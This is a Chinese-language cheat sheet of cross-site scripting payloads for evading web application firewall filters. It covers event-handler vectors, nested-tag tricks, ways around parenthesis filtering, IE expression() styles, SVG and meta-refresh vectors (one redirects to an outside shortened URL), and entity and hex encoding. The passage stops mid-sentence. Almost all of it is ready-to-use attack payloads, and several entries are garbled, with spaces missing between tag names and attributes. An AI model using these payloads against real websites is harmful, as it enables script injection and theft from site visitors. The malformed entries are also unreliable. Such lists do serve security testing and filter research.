事件处理
<svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <bodyonload=prompt(1);> <selectautofocusonfocus=alert(1)> <textareaautofocusonfocus=alert(1)> <keygenautofocusonfocus=alert(1)> <video><sourceonerror="javascript:alert(1)"> 短payload <q/oncut=open()> <q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions. |
嵌套欺骗
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1> <img src=x onerror="javascript:window.onerror=alert;throw 1"> <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29'; Expression 属性 <img style="xss:expression(alert(0))"> // Works upto IE7. <div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7 “location”属性 <a onmouseover=location=’javascript:alert(1)>click <body onfocus="location='javascrpt:alert(1) >123 |
其他Payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert <svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> // By @secalert <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed （）；：被过滤 <svg><script>alert(/1/)</script> // Works With All Browsers ( is html encoded to ( ) is html encoded to ) |
Opera的变量
<svg><script>alert( 1) // Works with Opera Only
实体解码
</script><script>alert(1)</script>
<a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
编码
JavaScript是很灵活的语言，可以使用十六进制、Unicode、HTML等进行编码，以下属性可以被编码（支持HTML, Octal, Decimal,Hexadecimal, and Unicode）
href= action= formaction= location= on*= name= background= poster= src= code= data= //只支持base64 |
基于上下文的过滤
WAF最大的问题是不能理解内容，使用黑名单可以阻挡独立的js脚本，但仍不能对xss提供足够的保护，如果一个反射型的XSS是下面这种形式
